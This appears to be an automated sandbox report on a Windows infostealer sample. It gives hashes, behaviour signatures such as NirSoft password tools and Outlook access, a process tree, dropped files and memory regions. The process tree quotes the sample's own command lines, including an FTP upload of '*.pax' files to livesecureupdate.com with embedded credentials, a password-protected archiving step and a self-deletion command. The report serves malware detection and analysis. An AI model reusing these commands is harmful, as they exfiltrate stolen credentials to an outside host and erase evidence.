Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    108s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/09/2024, 07:48

General

  • Target

    d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe

  • Size

    1.0MB

  • MD5

    d16ce7cf123a64124e62853b6334fb85

  • SHA1

    dffee691c7c1010c8a410057ebdce003631055bc

  • SHA256

    e58c7afbf68aa6364b320af12e3fb65df7c53b534f30c5d1de60c63bfe4fc37e

  • SHA512

    1f29aa8b81eaf72f4f05e37c200d1be4acb1c3d050951e0783b6e7ff8de17983b2bf1338107bcf03766f353e40c809a7dca90abc403e2af5dd1a2f99b2bfdb1b

  • SSDEEP

    24576:W6Fv2eEgqRryI/iN3czSX+2RSSeqSE6EbwWFxI8yA/q24io3:lF+JJyyP+2McGPn/U

Malware Config

Signatures

  • Detected Nirsoft tools 16 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 36 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4224
    • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
      "d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_1.sys
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4200
    • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
      "d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_2.sys
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3892
    • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
      "d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_3.sys
      2⤵
      • Accesses Microsoft Outlook accounts
      • System Location Discovery: System Language Discovery
      PID:4460
    • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
      "d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_4.sys
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3964
    • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
      "d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_5.sys
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2928
    • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
      "d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_7.sys
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4244
    • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
      "d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_8.sys
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2376
    • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
      "d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_9.sys
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2948
    • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
      "d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" a -ppEsTs}eLdS54 rundll32.dat rundll32_*
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3156
    • C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:792
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7EA.tmp\ren.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1208
    • C:\Program Files\Internet Explorer\iexplore.exe
      "d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" -u pompei -p 123123 -DD -F -P 443 livesecureupdate.com /sys *.pax
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:496
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:496 CREDAT:17410 /prefetch:2
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:4852
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c dir && dir && del "C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4964

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

    Filesize

    471B

    MD5

    ba1bf8cf86ec57057637af172911cd13

    SHA1

    32daf654da1afadd3021d486164516318295debf

    SHA256

    77fb6880c4ae2e78d705501c19c9cd4a4d3d2f9e42d45e313561caa0b6c832e0

    SHA512

    46780dd891659bde9eb87f07c857a43de3de9eccc53077b437282d1dd0c1339321399b0faa4cc2a6534396cdd4d358209bfe1f9622bda1e5681acef2b9c4a255

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

    Filesize

    404B

    MD5

    fe4e490beb62b9a4a3bf9b199dbea324

    SHA1

    0a05740d27d0aac8c798fe72924a5fcc4543ea2e

    SHA256

    de0f251d1587eea1d80aea8a148a7829304ee442fb33f0f8c7125c62bd5f0901

    SHA512

    e7a21bd78d5974838020d2c942b878f9a60e92e1258e98db18c97d91ba2056ed23c58610a609c4d60192e123653c27517ed898c8f7e70a64fede5510a8fca242

  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\374sd3b\imagestore.dat

    Filesize

    4KB

    MD5

    1c6af8ea6bc8f76f6f337c650d2ef7b7

    SHA1

    9aaff38f63296e43090517f1da994c8c2d5422a9

    SHA256

    9cf5d24df85889746f26e73d489693a65dab79fc519c95be64bcdc2b2ca82b6a

    SHA512

    540dff05dcd82bb350f5c36f1b0c1d870f0fb5966c67c4b8f424a8184f96f1cbba0ed56c254f90072e4be42e802147294d91d0f20571feb52aba3075d6a9bd36

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\KDOTUZKP\favicon-white-bg-444-mg[1].ico

    Filesize

    4KB

    MD5

    d24a03830318cf195ba065c94c8e12a7

    SHA1

    6c7174cda4dc233b5d8d8bdf02c3423471e608f6

    SHA256

    b088185bad4043457014cece747bf9cf9b185dd02a443f150a5157ae7ce5784e

    SHA512

    cba665b829e7934c145bac967d49c701a7e74afa27b01be04359f9d941347c18111e6daaa01f3a50caebebf9e87a9a3031cecc6e7c08d6c600410efc6559044d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\KDOTUZKP\suggestions[1].en-US

    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

  • C:\Users\Admin\AppData\Local\Temp\7EA.tmp\ren.bat

    Filesize

    57B

    MD5

    97b2de650ff2e2112fbca643c7e69e0f

    SHA1

    556323bba3c43d1526e5ee23f73899f454282afa

    SHA256

    9d24f2630f43ffea0c8c64826c52bd2ebaf1107cb5bb1e7e99c048437281a00b

    SHA512

    e1972690c69ea16396235deef404d95e5219cfda389c4cc610fec28bf55aceed45bf0ed315aec69a299bfc7d34d25d73680ddcccbc3111d8d6484c00135c8b02

  • C:\Users\Admin\AppData\Local\Temp\rundll32.dat

    Filesize

    386B

    MD5

    1218902428c2e28154d20738abfd9fcd

    SHA1

    e776d349025239339d7bb87f27f45bce657fd330

    SHA256

    d5ed9261184e58dfcdd6c94a4bb58e4e7dc95861695d8e330e43ea157f26761a

    SHA512

    06d6496b3c0780dc7462e9794bc5804d4b2aab672db8fa260733c8ff5d1c3ca2f05c294b25779e4d45d8cf5ed38d10dbe378315abe930a1c93d237664ab5bfbd

  • C:\Users\Admin\AppData\Local\Temp\rundll32_4.sys

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\AppData\Local\Temp\rundll32_7.sys

    Filesize

    219B

    MD5

    c39e22147c18fc4352e58f4c000962ad

    SHA1

    744d22c3741894018c1cabb9ab3fe4943ab3bf04

    SHA256

    0863114b0d43b2f59f466939de7dbf7c6d15986a041ad46cad784b42f101ac9c

    SHA512

    75cc751eba34585570c3f89848f743731a9153cced65c06c99d851dd724dab25dff610c413362f43be8729717e1a27bbd97861c2a81aaf75bebf3c38dea683bc

  • memory/792-65-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB

  • memory/792-66-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB

  • memory/792-64-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB

  • memory/792-62-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB

  • memory/2376-33-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/2376-29-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/2376-31-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/2376-32-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/2928-24-0x0000000000400000-0x0000000000425000-memory.dmp

    Filesize

    148KB

  • memory/2928-42-0x0000000000400000-0x0000000000425000-memory.dmp

    Filesize

    148KB

  • memory/2928-20-0x0000000000400000-0x0000000000425000-memory.dmp

    Filesize

    148KB

  • memory/2928-41-0x0000000000400000-0x0000000000425000-memory.dmp

    Filesize

    148KB

  • memory/2948-35-0x0000000000400000-0x0000000000415000-memory.dmp

    Filesize

    84KB

  • memory/2948-37-0x0000000000400000-0x0000000000415000-memory.dmp

    Filesize

    84KB

  • memory/2948-38-0x0000000000400000-0x0000000000415000-memory.dmp

    Filesize

    84KB

  • memory/2948-39-0x0000000000400000-0x0000000000415000-memory.dmp

    Filesize

    84KB

  • memory/3156-56-0x0000000000400000-0x000000000048B000-memory.dmp

    Filesize

    556KB

  • memory/3156-45-0x0000000000400000-0x000000000048B000-memory.dmp

    Filesize

    556KB

  • memory/3156-48-0x0000000000400000-0x000000000048B000-memory.dmp

    Filesize

    556KB

  • memory/3156-47-0x0000000000400000-0x000000000048B000-memory.dmp

    Filesize

    556KB

  • memory/3892-1-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/3892-18-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/3892-19-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/3892-17-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/3964-14-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

  • memory/3964-6-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

  • memory/3964-16-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

  • memory/3964-15-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

  • memory/4200-10-0x0000000000400000-0x000000000043D000-memory.dmp

    Filesize

    244KB

  • memory/4200-11-0x0000000000400000-0x000000000043D000-memory.dmp

    Filesize

    244KB

  • memory/4200-7-0x0000000000400000-0x000000000043D000-memory.dmp

    Filesize

    244KB

  • memory/4200-0-0x0000000000400000-0x000000000043D000-memory.dmp

    Filesize

    244KB

  • memory/4224-43-0x0000000010000000-0x0000000010117000-memory.dmp

    Filesize

    1.1MB

  • memory/4224-60-0x0000000010000000-0x0000000010117000-memory.dmp

    Filesize

    1.1MB

  • memory/4224-70-0x0000000010000000-0x0000000010117000-memory.dmp

    Filesize

    1.1MB

  • memory/4244-22-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

  • memory/4244-26-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

  • memory/4244-27-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

  • memory/4244-25-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

  • memory/4460-13-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB

  • memory/4460-4-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB

  • memory/4460-12-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB

  • memory/4460-9-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB